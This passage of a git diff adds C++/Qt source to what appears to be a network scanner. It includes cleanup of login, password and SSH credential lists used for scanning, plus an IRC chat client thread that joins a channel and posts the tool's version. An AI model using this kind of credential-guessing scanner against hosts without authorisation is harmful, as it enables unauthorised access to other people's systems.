ipsstartfl[gC][1] = 0; + };*/ + }; + } + } + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("Wrong parameters."); +#pragma endregion + }; + + Sleep(gTimeOut + 1); + #pragma region QTGUI_Area + stt->doEmitionYellowFoundData("Stopping threads..."); + stt->doEmitionChangeStatus("Stopping..."); + #pragma endregion + + while(cons > 0 || isActive == 1 || jsonArr->size() > 0) Sleep(2000); + + nCleanup(); + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); + stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); + stt->doEmitionChangeStatus("Idle"); + stt->doEmitionKillSttThread(); + #pragma endregion +}; + +void nCleanup(){ + if(loginLst != NULL) + { + for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i]; + delete []loginLst; + loginLst = NULL; + }; + if(passLst != NULL) + { + for(int i = 0; i < MaxPass; ++i) delete []passLst[i]; + delete []passLst; + passLst = NULL; + }; + if(GlobalNegatives != NULL) + { + char temp[512] = {0}; + for(int i = 0; i < GlobalNegativeSize; ++i) + { + delete []GlobalNegatives[i]; + }; + delete []GlobalNegatives; + GlobalNegatives = NULL; + }; + if(wfPassLst != NULL) + { + for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i]; + delete []wfPassLst; + wfPassLst = NULL; + }; + if(wfLoginLst != NULL) + { + for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i]; + delete []wfLoginLst; + wfLoginLst = NULL; + }; + if(sshlpLst != NULL) + { + for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i]; + delete []sshlpLst; + sshlpLst = NULL; + }; + if(ipsstartfl != NULL) + { + for(int i = 0; i < flCounter; ++i) delete []ipsstartfl[i]; + delete []ipsstartfl; + ipsstartfl = NULL; + }; + if(ipsendfl != NULL) + { + for(int i = 0; i < flCounter; ++i) delete []ipsendfl[i]; + delete []ipsendfl; + ipsendfl = NULL; + }; + if(starterIP != NULL) + { + for(int i = 0; i < flCounter; ++i) delete []starterIP[i]; + delete []starterIP; + starterIP = NULL; + }; +} \ No newline at end of file diff --git a/oIRC_Th.cpp b/oIRC_Th.cpp new file mode 100644 index 0000000..286177d --- /dev/null +++ b/oIRC_Th.cpp @@ -0,0 +1,828 @@ +#include "oIRC_Th.h" +#include +#include "externData.h" +#include "externFunctions.h" + +int iWantToConnect = false; + +#define MAX_IRC_RECV_LEN 2048 +//#define IRC_CHAN "iskopasi_lab01" + +void oIRC_Th::doEmitionPlayDckingSound() +{ + emit ircTh->notifyPlay(); +}; +void oIRC_Th::doEmitUnhidePopup(QString str1, QString str2) +{ + emit ircTh->sUnhidePopup(str1, str2); +}; +void oIRC_Th::doEmitChangeIRCData(bool pm, bool hlflag, int code, QString str, QString s) +{ + emit ircTh->changeIRCData(pm, hlflag, code, str, s); +}; +void oIRC_Th::doEmitChangeRedIRCData(QString str) +{ + emit ircTh->changeRedIRCData(str); +}; +void oIRC_Th::doEmitChangeGreenIRCData(QString str) +{ + emit ircTh->changeGreenIRCData(str); +}; +void oIRC_Th::doEmitChangeYellowIRCData(QString str) +{ + emit ircTh->changeYellowIRCData(str); +}; +void oIRC_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit ircTh->changeRawIRCDataInc(str); +}; +void oIRC_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit ircTh->changeRawIRCDataOut(str); +}; +void oIRC_Th::doEmitSetNick(QString str) +{ + emit ircTh->setNick(str); +}; +void oIRC_Th::doEmitAddNick(QString str) +{ + emit ircTh->AddNick(str); +}; +void oIRC_Th::doEmitClearNickList() +{ + emit ircTh->ClearNickList(); +}; +void oIRC_Th::doEmitIRCOfflined() +{ + emit ircTh->IRCOfflined(); +}; +void oIRC_Th::doEmitGetTopic(QString str) +{ + emit ircTh->getTopic(str); +}; + +QString GetNickColor(char *sn) +{ + QString str(sn); + QString hexNick = str.toLocal8Bit().toHex(); + int origLen = str.size(); + int hln = hexNick.length(); + while(hln < 7) + { + hexNick += "0"; + hln = hexNick.length(); + }; + + QString nickColorStr = hexNick.mid(0, 6); + QString nickBGColorStr = hexNick.mid(hexNick.size() - 6, hexNick.size()); + + int nickColor = nickColorStr.toUInt(NULL, 16); + int nickBGColor = nickBGColorStr.toUInt(NULL, 16); + int dim = QString::number(nickColor).length(); + int factor = pow((float)10, dim); + + nickColor += (7*origLen + nickColor*6 + 123456 - hln*hln*hln*hln + (int)(str[0].toLatin1())*123); + nickColorStr.setNum(nickColor, 16); + nickColorStr = nickColorStr.mid(nickColorStr.size() - 6, nickColorStr.size()); + + int R = nickColorStr.mid(0, 2).toUInt(NULL, 16); + int G = nickColorStr.mid(2, 2).toUInt(NULL, 16); + int B = nickColorStr.mid(4, 2).toUInt(NULL, 16); + + if(R < 100 && G < 100 && B < 100) nickBGColorStr = "#fd7e31"; + else nickBGColorStr = "#000000"; + + return nickColorStr + "; background-color: " + nickBGColorStr + ";"; +}; +bool doHL(char *rawData) +{ + if(strstr(rawData, ircNick) != NULL) return true; + else return false; +}; +void _blinkNLine(QString tempData = "", QString senderNick = "") +{ + if(widgetIsHidden == false && tray->isVisible() == false) + { + disableBlink = false; + if(irc_nmb->isRunning() == false) irc_nmb->start(); + ircTh->doEmitUnhidePopup(tempData, senderNick); + +#pragma region QTGUI_Area + if(printDelimiter) ircTh->doEmitChangeIRCData(false, false, 0, "------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------", ""); + printDelimiter = false; +#pragma endregion + }; +}; +int sendS(int lSock, char *msg, int len, int mode) +{ + int b; + + b = send(lSock, msg, len, mode); + if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); + else + { + Activity += len; + +#pragma region QTGUI_Area + ircTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit(msg)); +#pragma endregion + }; + return b; +}; +int recvS(int lSock, char *recvBuffT, int len, int mode) +{ + int b; + char recvBuff[MAX_IRC_RECV_LEN] = {0}; + + b = recv(lSock, recvBuff, sizeof(recvBuff), 0); + if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); + else + { + Activity += len; + + strcpy(recvBuffT, recvBuff); +#pragma region QTGUI_Area + ircTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(recvBuff)); +#pragma endregion + ZeroMemory(recvBuff, sizeof(recvBuff)); + }; + return b; +}; +void UserNickInit(SOCKET sock) +{ + strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); + char tempBuffUser[1024] = {0}; + strcpy(tempBuffUser, "USER "); + strcat(tempBuffUser, ircNick); + strcat(tempBuffUser, " \"netstalker01\" * : "); + strcat(tempBuffUser, ircNick); + strcat(tempBuffUser, "\r\n"); + + char tempBuffNick[1024] = {0}; + + strcpy(tempBuffNick, "NICK "); + strcat(tempBuffNick, ircNick); + strcat(tempBuffNick, "\r\n"); + + sendS(lSock, tempBuffUser, strlen(tempBuffUser), 0); + sendS(lSock, tempBuffNick, strlen(tempBuffNick), 0); + + memset(tempBuffUser, '0', sizeof(tempBuffUser)); + memset(tempBuffNick, '0', sizeof(tempBuffNick)); +}; +void GetNicks() +{ + char chanTemp[64] = {0}; + strcpy(chanTemp, "NAMES #"); + strcat(chanTemp, IRC_CHAN); + strcat(chanTemp, "\r\n"); + sendS(lSock, chanTemp, strlen(chanTemp), 0); +}; +char *GetServerName(char *buff) +{ + char *temp1 = NULL; + int sz = 0; + char name[128] = {0}; + if(strstr(buff, " ") != NULL) + { + temp1 = strstr(buff, " "); + sz = temp1 - buff - 1; + strncpy(name, buff + 1, (sz < 128 ? sz : 128)); + }; + + return name; +}; +int jFlag1 = 0; +void __pinger(char *recvBuff) +{ + if(strstr(recvBuff, "PING") != NULL) + { + char tmpa[128] = {0}; + + if(strstr(recvBuff, "PING :") != NULL) + { + if(strstr(strstr(recvBuff, "PING :") + strlen("PING :"), "\r\n") != NULL) + { + strcpy(tmpa, "PONG "); + strncat(tmpa, strstr(recvBuff, "PING :") + strlen("PING "), strlen(strstr(recvBuff, "PING :") + strlen("PING ")) - strlen(strstr(strstr(recvBuff, "PING :") + strlen("PING :"), "\r\n"))); + strcat(tmpa, "\r\n"); + + sendS(lSock, tmpa, strlen(tmpa), 0); + } + else + { + strcpy(tmpa, "PONG "); + strncat(tmpa, strstr(recvBuff, ":"), 16); + strcat(tmpa, "\r\n"); + + sendS(lSock, tmpa, strlen(tmpa), 0); + }; + + + if(ircPTh->isRunning() == false) ircPTh->start(); + }; + + if(!jFlag1) //Channel-entering sequence + { + Sleep(500); + char chanTemp[32] = {0}; + strcpy(chanTemp, "JOIN #"); + strcat(chanTemp, IRC_CHAN); + strcat(chanTemp, "\r\n"); + sendS(lSock, chanTemp, strlen(chanTemp), 0); + + jFlag1 = 1; + }; + + globalPinger = 0; + memset(tmpa, '\0', sizeof(tmpa)); + } + if(strstr(recvBuff, "PONG") != NULL) + { + char tmpa[128] = {0}; + + if(!jFlag1) //Channel-entering sequence + { + Sleep(500); + char chanTemp[32] = {0}; + strcpy(chanTemp, "JOIN #"); + strcat(chanTemp, IRC_CHAN); + strcat(chanTemp, "\r\n"); + sendS(lSock, chanTemp, strlen(chanTemp), 0); + + jFlag1 = 1; + }; + + globalPinger = 0; + memset(tmpa, '\0', sizeof(tmpa)); + } + else if(strstr(recvBuff, "G :") != NULL) + { + char tmpa[128] = {0}; + if(strstr(recvBuff, "G :") != NULL) + { + if(strstr(strstr(recvBuff, "G :") + strlen("G :"), "\r\n") != NULL) + { + strcpy(tmpa, "PONG "); + strncat(tmpa, strstr(recvBuff, "G :") + strlen("G :"), strlen(strstr(recvBuff, "G :") + strlen("G :")) - strlen(strstr(strstr(recvBuff, "G :") + strlen("G :"), "\r\n"))); + strcat(tmpa, "\r\n"); + sendS(lSock, tmpa, strlen(tmpa), 0); + } + else + { + strcpy(tmpa, "PONG "); + strncat(tmpa, strstr(recvBuff, ":"), 16); + strcat(tmpa, "\r\n"); + sendS(lSock, tmpa, strlen(tmpa), 0); + }; + }; + + if(!jFlag1) //Channel-entering sequence + { + Sleep(500); + char chanTemp[32] = {0}; + strcpy(chanTemp, "JOIN #"); + strcat(chanTemp, IRC_CHAN); + strcat(chanTemp, "\r\n"); + sendS(lSock, chanTemp, strlen(chanTemp), 0); + + jFlag1 = 1; + }; + + globalPinger = 0; + if(ircPTh->isRunning() == false) ircPTh->start(); + memset(tmpa, '\0', sizeof(tmpa)); + }; +}; + +void IRCLoop() +{ + nickFlag = 0; + offlineFlag = 0; + +#pragma region QTGUI_Area + ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "..."); +#pragma endregion + + int err, yes = 1; + jFlag1 = 0; + sockaddr_in addr; + addr.sin_family = AF_INET; + + HOSTENT *host; + + if(proxyEnabledFlag) + { + addr.sin_port = htons(atoi(ircProxyPort)); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + } + else + { + addr.sin_port = htons(atoi(ircPort)); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ircServer) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircServer); + else if(host = gethostbyname (ircServer)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircServer) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircServer); + else if(host=gethostbyname (ircServer)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + }; + + for(int conCounter = 1; conCounter <= 100; ++conCounter) + { + char topicData[256] = {0}; + if(iWantToConnect == false) break; + OnlineMsgSentFlag = false; + + lSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connecting to proxy " + QString(ircProxy) + "..."); + if(connect(lSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { + if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connection to proxy " + QString(ircProxy) + " established."); + globalPinger = 0; + + char temprecvBuff[512] = {0}; + char tempSendMsg[512] = {0}; + + if(proxyEnabledFlag) + { + strcpy(tempSendMsg, "CONNECT "); + strcat(tempSendMsg, ircServer); + strcat(tempSendMsg, ":"); + strcat(tempSendMsg, ircPort); + strcat(tempSendMsg, " HTTP/1.1\r\n\r\n"); + + sendS(lSock, tempSendMsg, strlen(tempSendMsg), 0); + + recvS(lSock, temprecvBuff, sizeof(temprecvBuff), 0); + + if(strstr(temprecvBuff, "HTTP/1.1 200 OK") || strstr(temprecvBuff, "200 OK") + || strstr(temprecvBuff, "OK 200") || strstr(temprecvBuff, "200 Connection") ) + { + ircTh->doEmitChangeYellowIRCData("Proxy accepted connection. Waiting for IRC reply..."); + sendS(lSock, "\r\n", strlen("\r\n"), 0); + } + else + { + ircTh->doEmitChangeRedIRCData("[IRC: Bad proxy reply.]"); + break; + }; + } + else + { + sendS(lSock, "\r\n", strlen("\r\n"), 0); + }; + + UserNickInit(lSock); + + char recvBuffG[MAX_IRC_RECV_LEN] = {0}; + char serverRealName[256] = {0}; + bool nameLocked = false; + + char pTemp[32] = {0}; + strcpy(pTemp, "PRIV"); + strcat(pTemp, "MSG "); + while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN, 0) > 0 && iWantToConnect) + { + if(strlen(recvBuffG) > 0) + { + char *recvBuff = recvBuffG; +#pragma region Pinger + __pinger(recvBuff); +#pragma endregion + char comStr[512] = {0}; + char delimBf[512] = {0}; + strcpy(delimBf, ":"); + strcat(delimBf, serverRealName); + + char *Gtemp = recvBuff; + while(strstr(Gtemp + 1, "\n") != NULL) + { + char *temp1 = NULL; + if(strstr(Gtemp + 1, "\n") != NULL) temp1 = strstr(Gtemp + 1, "\n"); + else temp1 = Gtemp + strlen(Gtemp); + int csz = temp1 - Gtemp - 1; + strncpy(comStr, Gtemp, csz); + Gtemp = strstr(Gtemp + 1, "\n"); + + char privTemp[64] = {0}; + + strcpy(privTemp, "PRIV"); + strcat(privTemp, "MSG #"); + strcat(privTemp, IRC_CHAN); + strcat(privTemp, " :"); + + char pTemp[32] = {0}; + strcpy(pTemp, " PRIV"); + strcat(pTemp, "MSG "); + if(strstr(comStr, pTemp) == NULL) + { + char topicTemp[64] = {0}; + strcpy(topicTemp, "TOPIC #"); + strcat(topicTemp, IRC_CHAN); + strcat(topicTemp, " :"); + if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "while we process your") != NULL || strstr(comStr, "Looking up your hostname") != NULL) + ) + { +#pragma region QTGUI_Area + ircTh->doEmitChangeGreenIRCData("[OK] Connected to irc server: " + ui->ircServerBox->text()+ ":" + ui->serverPortBox->text() + "."); +#pragma endregion + if(nameLocked == false) + { + nameLocked = true; + strncpy(serverRealName, GetServerName(recvBuff), 128); + }; + + Sleep(500); + UserNickInit(lSock); + + Sleep(500); + char chanTemp[32] = {0}; + strcpy(chanTemp, "JOIN #"); + strcat(chanTemp, IRC_CHAN); + strcat(chanTemp, "\r\n"); + sendS(lSock, chanTemp, strlen(chanTemp), 0); + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "ERROR :Closing Link:") != NULL || strstr(comStr, "ERROR :") != NULL) ) + { + if(strstr(comStr, "Registration timed out") != NULL) + { +#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Registration timed out)"); + ircTh->terminate(); +#pragma endregion + } + else + { +#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Closed link)"); + ircTh->terminate(); +#pragma endregion + }; + } + else if(strstr(comStr, serverRealName) != NULL && strstr(comStr, "flooding") != NULL) + { + ircTh->doEmitChangeYellowIRCData("[" + QString::fromLocal8Bit(" ") + "] Flooding detected."); + } + else if((strstr(comStr, serverRealName) != NULL && strstr(comStr, " 332 ") != NULL) + || strstr(comStr, topicTemp) != NULL) + { + char chanTemp[32] = {0}; + strcpy(chanTemp, IRC_CHAN); + strcat(chanTemp, " :"); + char *temp = strstr(comStr, chanTemp); + strncpy(topicData, temp + strlen(chanTemp), 256); + if(utfIRCFlag) + { + QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); + QByteArray wtf_s(QString::fromLocal8Bit(topicData).toStdString().c_str()); + QByteArray wtf = codec->fromUnicode(wtf_s); + ircTh->doEmitGetTopic(wtf); + } + else ircTh->doEmitGetTopic(QString::fromLocal8Bit(topicData)); + } + else if(strstr(comStr, "not channel operator") != NULL) + { + ircTh->doEmitChangeRedIRCData("[Nope] You're not channel operator."); + ircTh->doEmitGetTopic(QString::fromLocal8Bit(topicData)); + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "353") != NULL || strstr(comStr, "End of /NAMES list") != NULL)) + { + char *strMain = NULL; + char *str1 = NULL; + char *str2 = NULL; + + if(strstr(comStr, " 353 ") != NULL) strMain = strstr(comStr, " 353 "); + if(strMain != NULL) + { + char cTemp[64] = {0}; + strcpy(cTemp, IRC_CHAN); + strcat(cTemp, " :"); + + if(strstri(strMain, cTemp) != NULL) str1 = strstri(strMain, cTemp); + else + { + char chanTemp[64] = {0}; + strcpy(chanTemp, IRC_CHAN); + strcat(chanTemp, " : Error in /NAMES"); + + str1 = chanTemp; + }; + if(strstr(str1, ":") != NULL) str2 = strstr(str1 + 1, ":"); + + char temp[MAX_IRC_RECV_LEN] = {0}; + + int dsz = strlen(str2); + if(dsz > 0) + { + ircTh->doEmitClearNickList(); + strncpy(temp, str2, dsz); + + char *lex = strtok(temp + 1, " "); + + while(lex != NULL && lex != "" && lex != "\r" && lex != "\r\n" && *lex != 13) + { + ircTh->doEmitAddNick(QString::fromLocal8Bit(lex)); + lex = strtok(NULL, " "); + }; + }; + }; + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 432 ") > 0 || strstr(comStr, "Erroneous Nickname") > 0)) + { +#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[Nope] Erroneous Nickname: Illegal characters."); +#pragma endregion + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 433 ") > 0 || strstr(comStr, "Nickname is already") > 0) ) + { +#pragma region QTGUI_Area + QTime time = QTime::currentTime(); + qsrand((uint)time.msec()); + ircTh->doEmitChangeRedIRCData("[Nope] Nickname is already in use."); + ircTh->doEmitSetNick("ns_" + QString::number(qrand() % 8999 + 1000 )); +#pragma endregion + UserNickInit(lSock); + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 438 ") > 0 || strstr(comStr, "Nick change too") > 0)) + { +#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[Nope] You are changing nicks too fast."); +#pragma endregion + } + else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "End of /NAMES list") != NULL || strstr(comStr, "End of /names list") != NULL + || strstr(comStr, "end of /NAMES list") != NULL || strstr(comStr, "end of /names list") != NULL) + && strstr(comStr, "353") == NULL) + { + ircTh->doEmitChangeRedIRCData("[IRC: NAMES! lol]"); + } + else if(strstr(comStr, "QUIT :Ping timeout") != NULL || strstr(comStr, "EOF From") != NULL + || strstr(comStr, "EOF from") != NULL || strstr(comStr, " QUIT :") != NULL) + { + if(strstr(comStr, ":") != NULL) + { + if(strstr(comStr, "!") != NULL) + { + if(strstr(comStr, "@") != NULL) + { + char *temp1 = strstr(comStr, ":"); + char *temp2 = strstr(temp1, "!"); + char leaverNick[32] = {0}; + + int sz = temp2 - temp1; + + strncpy(leaverNick, temp1, (sz < 16 ? sz : 16)); + +#pragma region QTGUI_Area + if(strstr(comStr, "QUIT :Ping timeout") != NULL) + { + ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel (Ping timeout)."); + _blinkNLine(QString(leaverNick) + " left channel (Ping timeout)", "[Server]"); + } + else + { + ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel."); + _blinkNLine(QString(leaverNick) + " left channel.", "[Server]"); + }; +#pragma endregion + }; + }; + }; + } + else if(strstr(comStr, "NICK :") != NULL) + { + char *temp; + char *temp2; + char senderNick[32] = {0}; + if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); + if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); + int nickLen = temp2 - temp - 1; + if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen); + + if(strstr(comStr, "NICK :") != NULL) temp = strstr(comStr, "NICK :"); + memset(temp + strlen(temp), '\0', 1); + + QString newNick = QString((char*)(temp + strlen("NICK :"))); +#pragma region QTGUI_Area + ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] is now known as [" + newNick + "]."); +#pragma endregion + _blinkNLine("[" + QString(senderNick) + "] is now known as [" + newNick + "].", "[Server]"); + + } + else if(iWantToConnect && (strstr(comStr, "JOIN :#") > 0 || strstr(comStr, "Join :#") > 0 + || strstr(comStr, "join :#") > 0)) + { + char *temp; + char *temp2; + char senderNick[32] = {0}; + if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); + if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); + int nickLen = temp2 - temp; + if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); + +#pragma region QTGUI_Area + if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) + { + ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] joined the channel."); + _blinkNLine("[" + QString(senderNick) + "] joined the channel.", "[Server]"); + } + else + { + ircTh->doEmitChangeYellowIRCData("You have joined the channel."); + _blinkNLine("You have joined the channel.", "[Server]"); + if(!OnlineMsgSentFlag) //Sending data only once per connect + { + OnlineMsgSentFlag = true; + + char temp[64] = {0}; + strcpy(temp, "PRIV"); + strcat(temp, "MSG #"); + strcat(temp, IRC_CHAN); + strcat(temp, " :My version: v3_"); + strcat(temp, gVER); + strcat(temp, "\n"); + sendS(lSock, temp, strlen(temp), 0); + + connectedToIRC = true; + }; + }; +#pragma endregion + } + else if(iWantToConnect && (strstr(comStr, "PART #") > 0 || strstr(comStr, "Part #") > 0 + || strstr(comStr, "part #") > 0)) + { + char *temp; + char *temp2; + char senderNick[32] = {0}; + if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); + if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); + int nickLen = temp2 - temp; + if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); + +#pragma region QTGUI_Area + if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] left the channel."); + else ircTh->doEmitChangeYellowIRCData("You have left the channel."); +#pragma endregion + }; + } + else if(strstri(comStr, privTemp) != NULL) + { + char channelName[64] = {0}; + strcpy(channelName, "PRIV"); + strcat(channelName, "MSG #"); + strcat(channelName, IRC_CHAN); + strcat(channelName, " :"); + + char *tprv = comStr; + char *temp = NULL; + char *temp2 = NULL; + +#pragma region Pinger + __pinger(recvBuff); +#pragma endregion + char senderNick[32] = {0}; + if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":"); + if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!"); + if(temp != NULL && temp2 != NULL) + { + if(strlen(temp) > 0 && strlen(temp2) > 0) + { + int nickLen = temp2 - temp; + if(nickLen <= 32) + { + char *tempD = strstri(tprv, channelName); + int nsz = strlen(channelName); + + if(tempD == NULL) break; + char *temp4 = NULL; + int dsz = 0; + if(strstr(tempD, "\n") != NULL) + { + temp4 = strstr(tempD, "\n"); + dsz = temp4 - tempD - nsz - 1; + }; + + char tempData[512] = {0}; + if(temp4 != NULL) + { + strncpy(tempData, tempD + nsz, (dsz == 0 ? strlen(temp4) : dsz)); + } + else strcpy(tempData, tempD + nsz); + + if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); + + if(strlen(tempData) > 0) + { + QString strf; + strf = QString::fromLocal8Bit(tempData); + _blinkNLine(strf, QString::fromLocal8Bit(senderNick)); + ircTh->doEmitionPlayDckingSound(); + bool HLFlag = doHL(strf.toLocal8Bit().data()); + int cCode = 0; +#pragma region QTGUI_Area + ircTh->doEmitChangeIRCData(false, HLFlag, cCode, strf, " [" + QString::fromLocal8Bit(senderNick) + "]:"); +#pragma endregion + }; + }; + }; + }; + ZeroMemory(senderNick, sizeof(senderNick)); + + } + else if(strstri( comStr, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data() ) != NULL) + { + char *tprv = comStr; + char *temp = NULL; + char *temp2 = NULL; + char senderNick[32] = {0}; + if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":"); + if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!"); + if(temp != NULL && temp2 != NULL) + { + if(strlen(temp) > 0 && strlen(temp2) > 0) + { + int nickLen = temp2 - temp; + if(nickLen <= 32) + { + char *tempD = strstri(tprv, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data()); + int nsz = QString(ircNick).size() + 10; + + if(tempD == NULL) break; + char *temp4 = NULL; + int dsz = 0; + if(strstr(tempD, "\n") != NULL) + { + temp4 = strstr(tempD, "\n"); + dsz = temp4 - tempD - nsz - 1; + }; + + char tempData[512] = {0}; + if(temp4 != NULL) + { + strncpy(tempData, tempD + nsz, (dsz == 0 ? strlen(temp4) : dsz)); + } + else strcpy(tempData, tempD + nsz); + + if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); + + if(strlen(tempData) > 0) + { + QString strf; + strf = QString::fromLocal8Bit(tempData); + _blinkNLine(strf, QString::fromLocal8Bit(senderNick)); + ircTh->doEmitionPlayDckingSound(); + bool HLFlag = doHL(strf.toLocal8Bit().data()); + int cCode = 0; +#pragma region QTGUI_Area + ircTh->doEmitChangeIRCData(true, HLFlag, cCode, strf, "[" + QString::fromLocal8Bit(senderNick) + "]:"); +#pragma endregion + }; + }; + }; + }; + ZeroMemory(senderNick, sizeof(senderNick)); + }; + ZeroMemory(comStr, sizeof(comStr)); + }; + ZeroMemory(recvBuffG, MAX_IRC_RECV_LEN); + }; + }; + + if(iWantToConnect == true) + { +#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[-//-] IRC server went offline."); +#pragma endregion + _blinkNLine("IRC server offlined!", "[Server]"); + Sleep(5000); + connectedToIRC == false; + }; + } + else + { +#pragma region QTGUI_Area + if(proxyEnabledFlag) ircTh->doEmitChangeRedIRCData("[-//-] Cannot connect to proxy. (" + QString::number(WSAGetLastError()) + ")" ); + else ircTh->doEmitChangeRedIRCData("[-//-] Connection failed. (" + QString::number(WSAGetLastError()) + ")" ); + +#pragma endregion + }; + CSSOCKET(lSock); + }; + //}; + CSSOCKET(lSock); +}; + +void oIRC_Th::run() +{ + IRCLoop(); + ircTh->doEmitIRCOfflined(); +}; \ No newline at end of file diff --git a/oIRC_Th.h b/oIRC_Th.h new file mode 100644 index 0000000..9304430 --- /dev/null +++ b/oIRC_Th.h @@ -0,0 +1,47 @@ +#ifndef OIRC_TH_H +#define OIRC_TH_H + +#pragma once +#include "nesca_3.h" +#include "irc_nmblinker.h" +#include "IRCPinger_Th.h" + +class oIRC_Th : public QThread +{ + Q_OBJECT + +public: + void doEmitUnhidePopup(QString, QString); + void doEmitChangeIRCData(bool, bool, int, QString, QString); + void doEmitChangeRedIRCData(QString); + void doEmitChangeGreenIRCData(QString); + void doEmitChangeYellowIRCData(QString); + void doEmitChangeRawIRCDataInc(QString); + void doEmitChangeRawIRCDataOut(QString); + void doEmitSetNick(QString); + void doEmitAddNick(QString); + void doEmitClearNickList(); + void doEmitIRCOfflined(); + void doEmitionPlayDckingSound(); + void doEmitGetTopic(QString str); + +public: signals: void sUnhidePopup(QString, QString); +public: signals: void changeIRCData(bool, bool, int, QString, QString); +public: signals: void changeRedIRCData(QString); +public: signals: void changeGreenIRCData(QString); +public: signals: void changeYellowIRCData(QString); +public: signals: void changeRawIRCDataInc(QString); +public: signals: void changeRawIRCDataOut(QString); +public: signals: void setNick(QString); +public: signals: void AddNick(QString); +public: signals: void ClearNickList(); +public: signals: void IRCOfflined(); +public: signals: void notifyPlay(); +public: signals: void getTopic(QString); + +protected: + void run(); +}; + +extern oIRC_Th *ircTh; +#endif // OIRC_TH_H diff --git a/piestat.cpp b/piestat.cpp new file mode 100644 index 0000000..fe28e77 --- /dev/null +++ b/piestat.cpp @@ -0,0 +1,25 @@ +#include "piestat.h" +#include "externData.h" + +void PieStat::doEmitUpdatePie() +{ + emit psTh->sUpdatePie(); +}; + +void PieStat::run() +{ + while(PieStatFlag) + { + psTh->doEmitUpdatePie(); + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + ssh = 0; + msleep(500); + }; +}; diff --git a/piestat.h b/piestat.h new file mode 100644 index 0000000..74e6724 --- /dev/null +++ b/piestat.h @@ -0,0 +1,21 @@ +#ifndef PIESTAT_H +#define PIESTAT_H + +#pragma once +#include "nesca_3.h" + 